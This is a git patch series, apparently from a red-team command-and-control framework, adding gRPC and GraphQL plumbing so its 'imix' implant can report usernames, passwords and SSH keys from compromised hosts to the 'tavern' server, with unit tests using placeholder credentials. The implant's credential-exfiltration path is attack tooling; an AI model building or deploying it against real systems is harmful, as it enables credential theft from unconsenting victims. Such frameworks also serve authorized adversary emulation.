+  principalNotIn: [String!]
+  principalGT: String
+  principalGTE: String
+  principalLT: String
+  principalLTE: String
+  principalContains: String
+  principalHasPrefix: String
+  principalHasSuffix: String
+  principalEqualFold: String
+  principalContainsFold: String
+  """secret field predicates"""
+  secret: String
+  secretNEQ: String
+  secretIn: [String!]
+  secretNotIn: [String!]
+  secretGT: String
+  secretGTE: String
+  secretLT: String
+  secretLTE: String
+  secretContains: String
+  secretHasPrefix: String
+  secretHasSuffix: String
+  secretEqualFold: String
+  secretContainsFold: String
+  """host edge predicates"""
+  hasHost: Boolean
+  hasHostWith: [HostWhereInput!]
+  """task edge predicates"""
+  hasTask: Boolean
+  hasTaskWith: [TaskWhereInput!]
 }
 type HostFile implements Node {
   id: ID!
@@ -358,7 +458,7 @@ type HostFile implements Node {
   """Permissions for the file on the host system."""
   permissions: String
   """The size of the file in bytes"""
-  size: Int!
+  size: Uint64!
   """A SHA3-256 digest of the content field"""
   hash: String
   """Host the file was reported on."""
@@ -478,14 +578,14 @@ input HostFileWhereInput {
   permissionsEqualFold: String
   permissionsContainsFold: String
   """size field predicates"""
-  size: Int
-  sizeNEQ: Int
-  sizeIn: [Int!]
-  sizeNotIn: [Int!]
-  sizeGT: Int
-  sizeGTE: Int
-  sizeLT: Int
-  sizeLTE: Int
+  size: Uint64
+  sizeNEQ: Uint64
+  sizeIn: [Uint64!]
+  sizeNotIn: [Uint64!]
+  sizeGT: Uint64
+  sizeGTE: Uint64
+  sizeLT: Uint64
+  sizeLTE: Uint64
   """hash field predicates"""
   hash: String
   hashNEQ: String
@@ -857,6 +957,9 @@ input HostWhereInput {
   """processes edge predicates"""
   hasProcesses: Boolean
   hasProcessesWith: [HostProcessWhereInput!]
+  """credentials edge predicates"""
+  hasCredentials: Boolean
+  hasCredentialsWith: [HostCredentialWhereInput!]
 }
 """
 An object with an ID.
@@ -1097,6 +1200,8 @@ type Task implements Node {
   reportedFiles: [HostFile!]
   """Processes that have been reported by this task."""
   reportedProcesses: [HostProcess!]
+  """Credentials that have been reported by this task."""
+  reportedCredentials: [HostCredential!]
 }
 """A connection to a list of items."""
 type TaskConnection {
@@ -1251,6 +1356,9 @@ input TaskWhereInput {
   """reported_processes edge predicates"""
   hasReportedProcesses: Boolean
   hasReportedProcessesWith: [HostProcessWhereInput!]
+  """reported_credentials edge predicates"""
+  hasReportedCredentials: Boolean
+  hasReportedCredentialsWith: [HostCredentialWhereInput!]
 }
 type Tome implements Node {
   id: ID!
@@ -1469,6 +1577,9 @@ input UpdateHostInput {
   addProcessIDs: [ID!]
   removeProcessIDs: [ID!]
   clearProcesses: Boolean
+  addCredentialIDs: [ID!]
+  removeCredentialIDs: [ID!]
+  clearCredentials: Boolean
 }
 """
 UpdateTagInput is used for update Tag object.

From b5a94a32c4dba8920547bb364fb0f5cfd7c4de03 Mon Sep 17 00:00:00 2001
From: KCarretto <Kcarretto@gmail.com>
Date: Tue, 13 Feb 2024 03:11:18 +0000
Subject: [PATCH 3/4] added report.user_password() eldritch method

---
 implants/imix/src/task.rs                     | 29 +++++++-
 implants/lib/c2/build.rs                      |  2 +-
 implants/lib/c2/src/{ => generated}/c2.rs     | 35 +++++++++
 implants/lib/c2/src/grpc.rs                   | 32 ++++++++
 implants/lib/c2/src/lib.rs                    |  2 +-
 implants/lib/c2/src/transport.rs              |  7 ++
 implants/lib/eldritch/build.rs                |  3 +-
 .../eldritch/src/{ => generated}/eldritch.rs  | 57 +++++++++++++-
 implants/lib/eldritch/src/lib.rs              |  2 +-
 implants/lib/eldritch/src/report/mod.rs       | 69 ++---------------
 .../eldritch/src/report/process_list_impl.rs  | 66 +++++++++++++++++
 .../eldritch/src/report/user_password_impl.rs | 74 +++++++++++++++++++
 .../lib/eldritch/src/runtime/environment.rs   | 11 ++-
 implants/lib/eldritch/src/runtime/exec.rs     | 23 +++++-
 14 files changed, 335 insertions(+), 77 deletions(-)
 rename implants/lib/c2/src/{ => generated}/c2.rs (91%)
 rename implants/lib/eldritch/src/{ => generated}/eldritch.rs (74%)
 create mode 100644 implants/lib/eldritch/src/report/user_password_impl.rs

diff --git a/implants/imix/src/task.rs b/implants/imix/src/task.rs
index cac89256d..8aca1a5f6 100644
--- a/implants/imix/src/task.rs
+++ b/implants/imix/src/task.rs
@@ -1,8 +1,8 @@
 use anyhow::Result;
 use c2::{
     pb::{
-        DownloadFileRequest, DownloadFileResponse, ReportProcessListRequest,
-        ReportTaskOutputRequest, TaskError, TaskOutput,
+        DownloadFileRequest, DownloadFileResponse, ReportCredentialRequest,
+        ReportProcessListRequest, ReportTaskOutputRequest, TaskError, TaskOutput,
     },
     Transport,
 };
@@ -92,6 +92,31 @@ impl TaskHandle {
                 .await?;
         }
 
+        // Report Credential
+        let credentials = self.runtime.collect_credentials();
+        for cred in credentials {
+            #[cfg(debug_assertions)]
+            log::info!("reporting credential (task_id={}): {:?}", self.id, cred);
+
+            match tavern
+                .report_credential(ReportCredentialRequest {
+                    task_id: self.id,
+                    credential: Some(cred),
+                })
+                .await
+            {
+                Ok(_) => {}
+                Err(_err) => {
+                    #[cfg(debug_assertions)]
+                    log::error!(
+                        "failed to report credential (task_id={}): {}",
+                        self.id,
+                        _err
+                    );
+                }
+            }
+        }
+
         // Report Process Lists
         let process_lists = self.runtime.collect_process_lists();
         for list in process_lists {
diff --git a/implants/lib/c2/build.rs b/implants/lib/c2/build.rs
index b13349092..39b4e6e5a 100644
--- a/implants/lib/c2/build.rs
+++ b/implants/lib/c2/build.rs
@@ -15,7 +15,7 @@ fn main() -> Result<(), Box<dyn std::error::Error>> {
     }
 
     match tonic_build::configure()
-        .out_dir("./src")
+        .out_dir("./src/generated")
         .build_server(false)
         .extern_path(".eldritch", "::eldritch::pb")
         .compile(&["c2.proto"], &["../../../tavern/internal/c2/proto/"])
diff --git a/implants/lib/c2/src/c2.rs b/implants/lib/c2/src/generated/c2.rs
similarity index 91%
rename from implants/lib/c2/src/c2.rs
rename to implants/lib/c2/src/generated/c2.rs
index 0f6b03081..b5f977aa7 100644
--- a/implants/lib/c2/src/c2.rs
+++ b/implants/lib/c2/src/generated/c2.rs
@@ -145,6 +145,17 @@ pub struct DownloadFileResponse {
 }
 #[allow(clippy::derive_partial_eq_without_eq)]
 #[derive(Clone, PartialEq, ::prost::Message)]
+pub struct ReportCredentialRequest {
+    #[prost(int64, tag = "1")]
+    pub task_id: i64,
+    #[prost(message, optional, tag = "2")]
+    pub credential: ::core::option::Option<::eldritch::pb::Credential>,
+}
+#[allow(clippy::derive_partial_eq_without_eq)]
+#[derive(Clone, PartialEq, ::prost::Message)]
+pub struct ReportCredentialResponse {}
+#[allow(clippy::derive_partial_eq_without_eq)]
+#[derive(Clone, PartialEq, ::prost::Message)]
 pub struct ReportFileRequest {
     #[prost(int64, tag = "1")]
     pub task_id: i64,
@@ -314,6 +325,30 @@ pub mod c2_client {
             self.inner.server_streaming(req, path, codec).await
         }
         ///
+        /// Report a credential from the host to the server.
+        pub async fn report_credential(
+            &mut self,
+            request: impl tonic::IntoRequest<super::ReportCredentialRequest>,
+        ) -> std::result::Result<
+            tonic::Response<super::ReportCredentialResponse>,
+            tonic::Status,
+        > {
+            self.inner
+                .ready()
+                .await
+                .map_err(|e| {
+                    tonic::Status::new(
+                        tonic::Code::Unknown,
+                        format!("Service was not ready: {}", e.into()),
+                    )
+                })?;
+            let codec = tonic::codec::ProstCodec::default();
+            let path = http::uri::PathAndQuery::from_static("/c2.C2/ReportCredential");
+            let mut req = request.into_request();
+            req.extensions_mut().insert(GrpcMethod::new("c2.C2", "ReportCredential"));
+            self.inner.unary(req, path, codec).await
+        }
+        ///
         /// Report a file from the host to the server.
         /// Providing content of the file is optional. If content is provided:
         ///   - Hash will automatically be calculated and the provided hash will be ignored.
diff --git a/implants/lib/c2/src/grpc.rs b/implants/lib/c2/src/grpc.rs
index 5bb6abee5..5c51a4c5a 100644
--- a/implants/lib/c2/src/grpc.rs
+++ b/implants/lib/c2/src/grpc.rs
@@ -3,6 +3,7 @@ use crate::pb::{
     ReportFileRequest, ReportFileResponse, ReportProcessListRequest, ReportProcessListResponse,
     ReportTaskOutputRequest, ReportTaskOutputResponse,
 };
+use crate::pb::{ReportCredentialRequest, ReportCredentialResponse};
 use anyhow::Result;
 use async_trait::async_trait;
 use std::sync::mpsc::{Receiver, Sender};
@@ -12,6 +13,7 @@ use tonic::Request;
 
 static CLAIM_TASKS_PATH: &str = "/c2.C2/ClaimTasks";
 static DOWNLOAD_FILE_PATH: &str = "/c2.C2/DownloadFile";
+static REPORT_CREDENTIAL_PATH: &str = "/c2.C2/ReportCredential";
 static REPORT_FILE_PATH: &str = "/c2.C2/ReportFile";
 static REPORT_PROCESS_LIST_PATH: &str = "/c2.C2/ReportProcessList";
 static REPORT_TASK_OUTPUT_PATH: &str = "/c2.C2/ReportTaskOutput";
@@ -75,6 +77,14 @@ impl crate::Transport for GRPC {
         Ok(())
     }
 
+    async fn report_credential(
+        &mut self,
+        request: crate::pb::ReportCredentialRequest,
+    ) -> Result<crate::pb::ReportCredentialResponse> {
+        let resp = self.report_credential_impl(request).await?;
+        Ok(resp.into_inner())
+    }
+
     async fn report_file(
         &mut self,
         request: Receiver<crate::pb::ReportFileRequest>,
@@ -162,6 +172,28 @@ impl GRPC {
         self.grpc.server_streaming(req, path, codec).await
     }
 
+    ///
+    /// Report a credential.
+    pub async fn report_credential_impl(
+        &mut self,
+        request: impl tonic::IntoRequest<crate::pb::ReportCredentialRequest>,
+    ) -> std::result::Result<tonic::Response<ReportCredentialResponse>, tonic::Status> {
+        self.grpc.ready().await.map_err(|e| {
+            tonic::Status::new(
+                tonic::Code::Unknown,
+                format!("Service was not ready: {}", e),
+            )
+        })?;
+        let codec: ProstCodec<ReportCredentialRequest, ReportCredentialResponse> =
+            tonic::codec::ProstCodec::default();
+
+        let path = tonic::codegen::http::uri::PathAndQuery::from_static(REPORT_CREDENTIAL_PATH);
+        let mut req = request.into_request();
+        req.extensions_mut()
+            .insert(GrpcMethod::new("c2.C2", "ReportCredential"));
+        self.grpc.unary(req, path, codec).await
+    }
+
     ///
     /// Report a file from the host to the server.
     /// Providing content of the file is optional. If content is provided:
diff --git a/implants/lib/c2/src/lib.rs b/implants/lib/c2/src/lib.rs
index 3dfbacc0b..dbe228b3a 100644
--- a/implants/lib/c2/src/lib.rs
+++ b/implants/lib/c2/src/lib.rs
@@ -1,5 +1,5 @@
 pub mod pb {
-    include!("c2.rs");
+    include!("generated/c2.rs");
 }
 
 mod grpc;
diff --git a/implants/lib/c2/src/transport.rs b/implants/lib/c2/src/transport.rs
index d39b51d78..b4f691788 100644
--- a/implants/lib/c2/src/transport.rs
+++ b/implants/lib/c2/src/transport.rs
@@ -25,6 +25,13 @@ pub trait Transport {
         sender: Sender<crate::pb::DownloadFileResponse>,
     ) -> Result<()>;
 
+    ///
+    /// Report a credential to the server.
+    async fn report_credential(
+        &mut self,
+        request: crate::pb::ReportCredentialRequest,
+    ) -> Result<crate::pb::ReportCredentialResponse>;
+
     ///
     /// Report a file from the host to the server.
     /// Providing content of the file is optional. If content is provided:
diff --git a/implants/lib/eldritch/build.rs b/implants/lib/eldritch/build.rs
index a9f8f6577..f6cff00ee 100644
--- a/implants/lib/eldritch/build.rs
+++ b/implants/lib/eldritch/build.rs
@@ -115,8 +115,7 @@ fn build_proto() -> Result<()> {
     }
 
     match tonic_build::configure()
-        .out_dir("./src")
-        .protoc_arg("--rust_out=./src/pb.rs")
+        .out_dir("./src/generated/")
         .build_client(false)
         .build_server(false)
         .compile(&["eldritch.proto"], &["../../../tavern/internal/c2/proto"])
diff --git a/implants/lib/eldritch/src/eldritch.rs b/implants/lib/eldritch/src/generated/eldritch.rs
similarity index 74%
rename from implants/lib/eldritch/src/eldritch.rs
rename to implants/lib/eldritch/src/generated/eldritch.rs
index 21e6d3800..15f376f8f 100644
--- a/implants/lib/eldritch/src/eldritch.rs
+++ b/implants/lib/eldritch/src/generated/eldritch.rs
@@ -12,6 +12,59 @@ pub struct Tome {
     #[prost(string, repeated, tag = "3")]
     pub file_names: ::prost::alloc::vec::Vec<::prost::alloc::string::String>,
 }
+/// Credential reported on the host system.
+#[allow(clippy::derive_partial_eq_without_eq)]
+#[derive(Clone, PartialEq, ::prost::Message)]
+pub struct Credential {
+    #[prost(string, tag = "1")]
+    pub principal: ::prost::alloc::string::String,
+    #[prost(string, tag = "2")]
+    pub secret: ::prost::alloc::string::String,
+    #[prost(enumeration = "credential::Kind", tag = "3")]
+    pub kind: i32,
+}
+/// Nested message and enum types in `Credential`.
+pub mod credential {
+    #[derive(
+        Clone,
+        Copy,
+        Debug,
+        PartialEq,
+        Eq,
+        Hash,
+        PartialOrd,
+        Ord,
+        ::prost::Enumeration
+    )]
+    #[repr(i32)]
+    pub enum Kind {
+        Unspecified = 0,
+        Password = 1,
+        SshKey = 2,
+    }
+    impl Kind {
+        /// String value of the enum field names used in the ProtoBuf definition.
+        ///
+        /// The values are not transformed in any way and thus are considered stable
+        /// (if the ProtoBuf definition does not change) and safe for programmatic use.
+        pub fn as_str_name(&self) -> &'static str {
+            match self {
+                Kind::Unspecified => "KIND_UNSPECIFIED",
+                Kind::Password => "KIND_PASSWORD",
+                Kind::SshKey => "KIND_SSH_KEY",
+            }
+        }
+        /// Creates an enum from field names used in the ProtoBuf definition.
+        pub fn from_str_name(value: &str) -> ::core::option::Option<Self> {
+            match value {
+                "KIND_UNSPECIFIED" => Some(Self::Unspecified),
+                "KIND_PASSWORD" => Some(Self::Password),
+                "KIND_SSH_KEY" => Some(Self::SshKey),
+                _ => None,
+            }
+        }
+    }
+}
 /// Process running on the host system.
 #[allow(clippy::derive_partial_eq_without_eq)]
 #[derive(Clone, PartialEq, ::prost::Message)]
@@ -129,8 +182,8 @@ pub struct File {
     pub group: ::prost::alloc::string::String,
     #[prost(string, tag = "4")]
     pub permissions: ::prost::alloc::string::String,
-    #[prost(int64, tag = "5")]
-    pub size: i64,
+    #[prost(uint64, tag = "5")]
+    pub size: u64,
     #[prost(string, tag = "6")]
     pub sha3_256_hash: ::prost::alloc::string::String,
     #[prost(bytes = "vec", tag = "7")]
diff --git a/implants/lib/eldritch/src/lib.rs b/implants/lib/eldritch/src/lib.rs
index 02dc77d05..30f090b6d 100644
--- a/implants/lib/eldritch/src/lib.rs
+++ b/implants/lib/eldritch/src/lib.rs
@@ -9,7 +9,7 @@ pub mod sys;
 pub mod time;
 
 pub mod pb {
-    include!("eldritch.rs");
+    include!("generated/eldritch.rs");
 }
 
 pub use runtime::{start, FileRequest, Runtime};
diff --git a/implants/lib/eldritch/src/report/mod.rs b/implants/lib/eldritch/src/report/mod.rs
index baa7c8f10..a0c24b7d5 100644
--- a/implants/lib/eldritch/src/report/mod.rs
+++ b/implants/lib/eldritch/src/report/mod.rs
@@ -1,4 +1,5 @@
 mod process_list_impl;
+mod user_password_impl;
 
 use starlark::{
     collections::SmallMap,
@@ -26,70 +27,10 @@ fn methods(builder: &mut MethodsBuilder) {
         process_list_impl::process_list(starlark_eval, process_list.items)?;
         Ok(NoneType{})
     }
-}
-
-#[cfg(test)]
-mod test {
-    use std::collections::HashMap;
-
-    use crate::pb::process::Status;
-    use crate::pb::{Process, ProcessList, Tome};
-    use anyhow::Error;
-
-    macro_rules! process_list_tests {
-        ($($name:ident: $value:expr,)*) => {
-        $(
-            #[tokio::test]
-            async fn $name() {
-                let tc: TestCase = $value;
-                let mut runtime = crate::start(tc.tome).await;
-                runtime.finish().await;
-
-                let want_err_str = match tc.want_error {
-                    Some(err) => err.to_string(),
-                    None => "".to_string(),
-                };
-                let err_str = match runtime.collect_errors().pop() {
-                    Some(err) => err.to_string(),
-                    None => "".to_string(),
-                };
-                assert_eq!(want_err_str, err_str);
-                assert_eq!(tc.want_output, runtime.collect_text().join(""));
-                assert_eq!(Some(tc.want_proc_list), runtime.collect_process_lists().pop());
-            }
-        )*
-        }
-    }
-
-    struct TestCase {
-        pub tome: Tome,
-        pub want_output: String,
-        pub want_error: Option<Error>,
-        pub want_proc_list: ProcessList,
-    }
 
-    process_list_tests! {
-            one_process: TestCase{
-                tome: Tome{
-                    eldritch: String::from(r#"report.process_list([{"pid":5,"ppid":101,"name":"test","username":"root","path":"/bin/cat","env":"COOL=1","command":"cat","cwd":"/home/meow","status":"IDLE"}])"#),
-                    parameters: HashMap::new(),
-                    file_names: Vec::new(),
-                },
-                want_proc_list: ProcessList{list: vec![
-                    Process{
-                        pid: 5,
-                        ppid: 101,
-                        name: "test".to_string(),
-                        principal: "root".to_string(),
-                        path: "/bin/cat".to_string(),
-                        env: "COOL=1".to_string(),
-                        cmd: "cat".to_string(),
-                        cwd: "/home/meow".to_string(),
-                        status: Status::Idle.into(),
-                    },
-                ]},
-                want_output: String::from(""),
-                want_error: None,
-            },
+    #[allow(unused_variables)]
+    fn user_password(this: &ReportLibrary, starlark_eval: &mut Evaluator<'v, '_>, username: String, password: String) -> anyhow::Result<NoneType> {
+        user_password_impl::user_password(starlark_eval, username, password)?;
+        Ok(NoneType{})
     }
 }
diff --git a/implants/lib/eldritch/src/report/process_list_impl.rs b/implants/lib/eldritch/src/report/process_list_impl.rs
index 8957cd7a2..e6bf7d3a6 100644
--- a/implants/lib/eldritch/src/report/process_list_impl.rs
+++ b/implants/lib/eldritch/src/report/process_list_impl.rs
@@ -54,3 +54,69 @@ fn unpack_status(proc: &SmallMap<String, Value>) -> Status {
     let status_str = format!("STATUS_{}", val).to_uppercase();
     Status::from_str_name(status_str.as_str()).unwrap_or(Status::Unknown)
 }
+
+#[cfg(test)]
+mod test {
+    use std::collections::HashMap;
+
+    use crate::pb::process::Status;
+    use crate::pb::{Process, ProcessList, Tome};
+    use anyhow::Error;
+
+    macro_rules! process_list_tests {
+        ($($name:ident: $value:expr,)*) => {
+        $(
+            #[tokio::test]
+            async fn $name() {
+                let tc: TestCase = $value;
+                let mut runtime = crate::start(tc.tome).await;
+                runtime.finish().await;
+
+                let want_err_str = match tc.want_error {
+                    Some(err) => err.to_string(),
+                    None => "".to_string(),
+                };
+                let err_str = match runtime.collect_errors().pop() {
+                    Some(err) => err.to_string(),
+                    None => "".to_string(),
+                };
+                assert_eq!(want_err_str, err_str);
+                assert_eq!(tc.want_output, runtime.collect_text().join(""));
+                assert_eq!(Some(tc.want_proc_list), runtime.collect_process_lists().pop());
+            }
+        )*
+        }
+    }
+
+    struct TestCase {
+        pub tome: Tome,
+        pub want_output: String,
+        pub want_error: Option<Error>,
+        pub want_proc_list: ProcessList,
+    }
+
+    process_list_tests! {
+            one_process: TestCase{
+                tome: Tome{
+                    eldritch: String::from(r#"report.process_list([{"pid":5,"ppid":101,"name":"test","username":"root","path":"/bin/cat","env":"COOL=1","command":"cat","cwd":"/home/meow","status":"IDLE"}])"#),
+                    parameters: HashMap::new(),
+                    file_names: Vec::new(),
+                },
+                want_proc_list: ProcessList{list: vec![
+                    Process{
+                        pid: 5,
+                        ppid: 101,
+                        name: "test".to_string(),
+                        principal: "root".to_string(),
+                        path: "/bin/cat".to_string(),
+                        env: "COOL=1".to_string(),
+                        cmd: "cat".to_string(),
+                        cwd: "/home/meow".to_string(),
+                        status: Status::Idle.into(),
+                    },
+                ]},
+                want_output: String::from(""),
+                want_error: None,
+            },
+    }
+}
diff --git a/implants/lib/eldritch/src/report/user_password_impl.rs b/implants/lib/eldritch/src/report/user_password_impl.rs
new file mode 100644
index 000000000..f9859b94f
--- /dev/null
+++ b/implants/lib/eldritch/src/report/user_password_impl.rs
@@ -0,0 +1,74 @@
+use crate::{pb::credential::Kind, pb::Credential, runtime::Environment};
+use anyhow::Result;
+use starlark::eval::Evaluator;
+
+pub fn user_password(
+    starlark_eval: &Evaluator<'_, '_>,
+    username: String,
+    password: String,
+) -> Result<()> {
+    let env = Environment::from_extra(starlark_eval.extra)?;
+    env.report_credential(Credential {
+        principal: username,
+        secret: password,
+        kind: Kind::Password.into(),
+    })?;
+    Ok(())
+}
+
+#[cfg(test)]
+mod test {
+    use std::collections::HashMap;
+
+    use crate::pb::{credential::Kind, Credential, Tome};
+    use anyhow::Error;
+
+    macro_rules! test_cases {
+        ($($name:ident: $value:expr,)*) => {
+        $(
+            #[tokio::test]
+            async fn $name() {
+                let tc: TestCase = $value;
+                let mut runtime = crate::start(tc.tome).await;
+                runtime.finish().await;
+
+                let want_err_str = match tc.want_error {
+                    Some(err) => err.to_string(),
+                    None => "".to_string(),
+                };
+                let err_str = match runtime.collect_errors().pop() {
+                    Some(err) => err.to_string(),
+                    None => "".to_string(),
+                };
+                assert_eq!(want_err_str, err_str);
+                assert_eq!(tc.want_output, runtime.collect_text().join(""));
+                assert_eq!(Some(tc.want_credential), runtime.collect_credentials().pop());
+            }
+        )*
+        }
+    }
+
+    struct TestCase {
+        pub tome: Tome,
+        pub want_output: String,
+        pub want_error: Option<Error>,
+        pub want_credential: Credential,
+    }
+
+    test_cases! {
+            one_credential: TestCase{
+                tome: Tome{
+                    eldritch: String::from(r#"report.user_password(username="root", password="changeme")"#),
+                    parameters: HashMap::new(),
+                    file_names: Vec::new(),
+                },
+                want_credential: Credential {
+                    principal: String::from("root"),
+                    secret:  String::from("changeme"),
+                    kind: Kind::Password.into(),
+                },
+                want_output: String::from(""),
+                want_error: None,
+            },
+    }
+}
diff --git a/implants/lib/eldritch/src/runtime/environment.rs b/implants/lib/eldritch/src/runtime/environment.rs
index bfafd045e..6f4a8847d 100644
--- a/implants/lib/eldritch/src/runtime/environment.rs
+++ b/implants/lib/eldritch/src/runtime/environment.rs
@@ -1,4 +1,4 @@
-use crate::pb::{File, ProcessList};
+use crate::pb::{Credential, File, ProcessList};
 use anyhow::{Context, Error, Result};
 use starlark::{
     values::{AnyLifetime, ProvidesStaticType},
@@ -26,6 +26,7 @@ impl FileRequest {
 pub struct Environment {
     pub(super) tx_output: Sender<String>,
     pub(super) tx_error: Sender<Error>,
+    pub(super) tx_credential: Sender<Credential>,
     pub(super) tx_process_list: Sender<ProcessList>,
     pub(super) tx_file: Sender<File>,
     pub(super) tx_file_request: Sender<FileRequest>,
@@ -58,6 +59,14 @@ impl Environment {
         Ok(())
     }
 
+    /*
+     * Report a credential that was collected by the tome.
+     */
+    pub fn report_credential(&self, credential: Credential) -> Result<()> {
+        self.tx_credential.send(credential)?;
+        Ok(())
+    }
+
     /*
      * Report a process list that was collected by the tome.
      */
diff --git a/implants/lib/eldritch/src/runtime/exec.rs b/implants/lib/eldritch/src/runtime/exec.rs
index 61765a6fd..05afb3b09 100644
--- a/implants/lib/eldritch/src/runtime/exec.rs
+++ b/implants/lib/eldritch/src/runtime/exec.rs
@@ -1,8 +1,14 @@
 use super::{drain::drain, drain::drain_last, Environment, FileRequest};
-use crate::pb::{File, ProcessList};
 use crate::{
-    assets::AssetsLibrary, crypto::CryptoLibrary, file::FileLibrary, pb::Tome, pivot::PivotLibrary,
-    process::ProcessLibrary, report::ReportLibrary, sys::SysLibrary, time::TimeLibrary,
+    assets::AssetsLibrary,
+    crypto::CryptoLibrary,
+    file::FileLibrary,
+    pb::{Credential, File, ProcessList, Tome},
+    pivot::PivotLibrary,
+    process::ProcessLibrary,
+    report::ReportLibrary,
+    sys::SysLibrary,
+    time::TimeLibrary,
 };
 use anyhow::{Context, Error, Result};
 use chrono::Utc;
@@ -24,6 +30,7 @@ pub async fn start(tome: Tome) -> Runtime {
     let (tx_exec_finished_at, rx_exec_finished_at) = channel::<Timestamp>();
     let (tx_error, rx_error) = channel::<Error>();
     let (tx_output, rx_output) = channel::<String>();
+    let (tx_credential, rx_credential) = channel::<Credential>();
     let (tx_process_list, rx_process_list) = channel::<ProcessList>();
     let (tx_file, rx_file) = channel::<File>();
     let (tx_file_request, rx_file_request) = channel::<FileRequest>();
@@ -31,6 +38,7 @@ pub async fn start(tome: Tome) -> Runtime {
     let env = Environment {
         tx_output,
         tx_error: tx_error.clone(),
+        tx_credential,
         tx_process_list,
         tx_file,
         tx_file_request,
@@ -102,6 +110,7 @@ pub async fn start(tome: Tome) -> Runtime {
         rx_exec_finished_at,
         rx_error,
         rx_output,
+        rx_credential,
         rx_process_list,
         rx_file,
         rx_file_request,
@@ -137,6 +146,7 @@ pub struct Runtime {
     rx_exec_finished_at: Receiver<Timestamp>,
     rx_output: Receiver<String>,
     rx_error: Receiver<Error>,
+    rx_credential: Receiver<Credential>,
     rx_process_list: Receiver<ProcessList>,
     rx_file: Receiver<File>,
     rx_file_request: Receiver<FileRequest>,
@@ -278,6 +288,13 @@ impl Runtime {
         drain(&self.rx_error)
     }
 
+    /*
+     * Returns all currently available reported credentials, if any.
+     */
+    pub fn collect_credentials(&self) -> Vec<Credential> {
+        drain(&self.rx_credential)
+    }
+
     /*
      * Returns all currently available reported process lists, if any.
      */

From b30d64b2e35bf239a23cd26445ffba40bcd1083b Mon Sep 17 00:00:00 2001
From: KCarretto <Kcarretto@gmail.com>
Date: Tue, 13 Feb 2024 03:18:14 +0000
Subject: [PATCH 4/4] added report.ssh_key() eldritch method

---
 implants/lib/eldritch/src/report/mod.rs       |  7 ++
 .../lib/eldritch/src/report/ssh_key_impl.rs   | 70 +++++++++++++++++++
 2 files changed, 77 insertions(+)
 create mode 100644 implants/lib/eldritch/src/report/ssh_key_impl.rs

diff --git a/implants/lib/eldritch/src/report/mod.rs b/implants/lib/eldritch/src/report/mod.rs
index a0c24b7d5..02d585a09 100644
--- a/implants/lib/eldritch/src/report/mod.rs
+++ b/implants/lib/eldritch/src/report/mod.rs
@@ -1,4 +1,5 @@
 mod process_list_impl;
+mod ssh_key_impl;
 mod user_password_impl;
 
 use starlark::{
@@ -28,6 +29,12 @@ fn methods(builder: &mut MethodsBuilder) {
         Ok(NoneType{})
     }
 
+    #[allow(unused_variables)]
+    fn ssh_key(this: &ReportLibrary, starlark_eval: &mut Evaluator<'v, '_>, username: String, key: String) -> anyhow::Result<NoneType> {
+        ssh_key_impl::ssh_key(starlark_eval, username, key)?;
+        Ok(NoneType{})
+    }
+
     #[allow(unused_variables)]
     fn user_password(this: &ReportLibrary, starlark_eval: &mut Evaluator<'v, '_>, username: String, password: String) -> anyhow::Result<NoneType> {
         user_password_impl::user_password(starlark_eval, username, password)?;
diff --git a/implants/lib/eldritch/src/report/ssh_key_impl.rs b/implants/lib/eldritch/src/report/ssh_key_impl.rs
new file mode 100644
index 000000000..298eff783
--- /dev/null
+++ b/implants/lib/eldritch/src/report/ssh_key_impl.rs
@@ -0,0 +1,70 @@
+use crate::{pb::credential::Kind, pb::Credential, runtime::Environment};
+use anyhow::Result;
+use starlark::eval::Evaluator;
+
+pub fn ssh_key(starlark_eval: &Evaluator<'_, '_>, username: String, key: String) -> Result<()> {
+    let env = Environment::from_extra(starlark_eval.extra)?;
+    env.report_credential(Credential {
+        principal: username,
+        secret: key,
+        kind: Kind::SshKey.into(),
+    })?;
+    Ok(())
+}
+
+#[cfg(test)]
+mod test {
+    use std::collections::HashMap;
+
+    use crate::pb::{credential::Kind, Credential, Tome};
+    use anyhow::Error;
+
+    macro_rules! test_cases {
+        ($($name:ident: $value:expr,)*) => {
+        $(
+            #[tokio::test]
+            async fn $name() {
+                let tc: TestCase = $value;
+                let mut runtime = crate::start(tc.tome).await;
+                runtime.finish().await;
+
+                let want_err_str = match tc.want_error {
+                    Some(err) => err.to_string(),
+                    None => "".to_string(),
+                };
+                let err_str = match runtime.collect_errors().pop() {
+                    Some(err) => err.to_string(),
+                    None => "".to_string(),
+                };
+                assert_eq!(want_err_str, err_str);
+                assert_eq!(tc.want_output, runtime.collect_text().join(""));
+                assert_eq!(Some(tc.want_credential), runtime.collect_credentials().pop());
+            }
+        )*
+        }
+    }
+
+    struct TestCase {
+        pub tome: Tome,
+        pub want_output: String,
+        pub want_error: Option<Error>,
+        pub want_credential: Credential,
+    }
+
+    test_cases! {
+            one_credential: TestCase{
+                tome: Tome{
+                    eldritch: String::from(r#"report.ssh_key(username="root", key="---BEGIN---youknowtherest")"#),
+                    parameters: HashMap::new(),
+                    file_names: Vec::new(),
+                },
+                want_credential: Credential {
+                    principal: String::from("root"),
+                    secret:  String::from("---BEGIN---youknowtherest"),
+                    kind: Kind::SshKey.into(),
+                },
+                want_output: String::from(""),
+                want_error: None,
+            },
+    }
+}